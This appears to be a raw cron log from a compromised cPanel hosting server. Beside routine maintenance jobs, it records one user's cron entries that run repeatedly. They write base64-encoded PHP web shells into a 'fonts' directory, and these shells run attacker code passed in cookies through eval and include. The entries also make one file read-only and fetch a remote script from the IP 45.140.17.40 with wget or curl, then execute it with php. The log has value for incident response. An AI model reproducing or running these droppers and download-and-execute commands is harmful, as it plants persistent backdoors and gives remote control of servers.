Sep  1 11:01:01 ip-184-168-122-23 CROND[10228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:01:01 ip-184-168-122-23 CROND[10233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10229]: starting 0anacron
Sep  1 11:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10247]: finished 0anacron
Sep  1 11:02:01 ip-184-168-122-23 CROND[10350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:02:01 ip-184-168-122-23 CROND[10353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:02:01 ip-184-168-122-23 CROND[10355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:02:01 ip-184-168-122-23 CROND[10354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:02:01 ip-184-168-122-23 CROND[10352]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:03:01 ip-184-168-122-23 CROND[10499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:03:01 ip-184-168-122-23 CROND[10498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:03:01 ip-184-168-122-23 CROND[10501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:03:01 ip-184-168-122-23 CROND[10500]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:04:01 ip-184-168-122-23 CROND[10650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:04:01 ip-184-168-122-23 CROND[10651]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:04:01 ip-184-168-122-23 CROND[10653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:04:01 ip-184-168-122-23 CROND[10655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:04:01 ip-184-168-122-23 CROND[10659]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:05:01 ip-184-168-122-23 CROND[10788]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 11:05:01 ip-184-168-122-23 CROND[10791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:05:01 ip-184-168-122-23 CROND[10792]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:05:01 ip-184-168-122-23 CROND[10790]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:05:01 ip-184-168-122-23 CROND[10793]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:05:01 ip-184-168-122-23 CROND[10794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:05:01 ip-184-168-122-23 CROND[10795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:06:01 ip-184-168-122-23 CROND[10998]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:06:01 ip-184-168-122-23 CROND[11001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:06:01 ip-184-168-122-23 CROND[11002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:06:01 ip-184-168-122-23 CROND[11000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:06:01 ip-184-168-122-23 CROND[11003]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:07:01 ip-184-168-122-23 CROND[11169]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:07:01 ip-184-168-122-23 CROND[11170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:07:01 ip-184-168-122-23 CROND[11173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:07:01 ip-184-168-122-23 CROND[11171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:08:01 ip-184-168-122-23 CROND[11279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:08:01 ip-184-168-122-23 CROND[11280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:08:01 ip-184-168-122-23 CROND[11281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:08:01 ip-184-168-122-23 CROND[11282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:08:01 ip-184-168-122-23 CROND[11283]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:09:01 ip-184-168-122-23 CROND[11398]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 11:09:01 ip-184-168-122-23 CROND[11397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:09:01 ip-184-168-122-23 CROND[11399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:09:01 ip-184-168-122-23 CROND[11400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:09:01 ip-184-168-122-23 CROND[11403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:10:01 ip-184-168-122-23 CROND[11549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:10:01 ip-184-168-122-23 CROND[11555]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:10:01 ip-184-168-122-23 CROND[11552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:10:01 ip-184-168-122-23 CROND[11551]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:10:01 ip-184-168-122-23 CROND[11553]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 11:10:01 ip-184-168-122-23 CROND[11554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:10:01 ip-184-168-122-23 CROND[11556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:10:01 ip-184-168-122-23 CROND[11550]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 11:11:01 ip-184-168-122-23 CROND[11656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:11:01 ip-184-168-122-23 CROND[11658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:11:01 ip-184-168-122-23 CROND[11659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:11:01 ip-184-168-122-23 CROND[11660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:12:01 ip-184-168-122-23 CROND[11771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 11:12:01 ip-184-168-122-23 CROND[11773]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 11:12:01 ip-184-168-122-23 CROND[11775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 11:12:01 ip-184-168-122-23 CROND[11777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 11:12:01 ip-184-168-122-23 CROND[11776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:13:01 ip-184-168-122-23 CROND[12000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 11:13:01 ip-184-168-122-23 CROND[11999]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
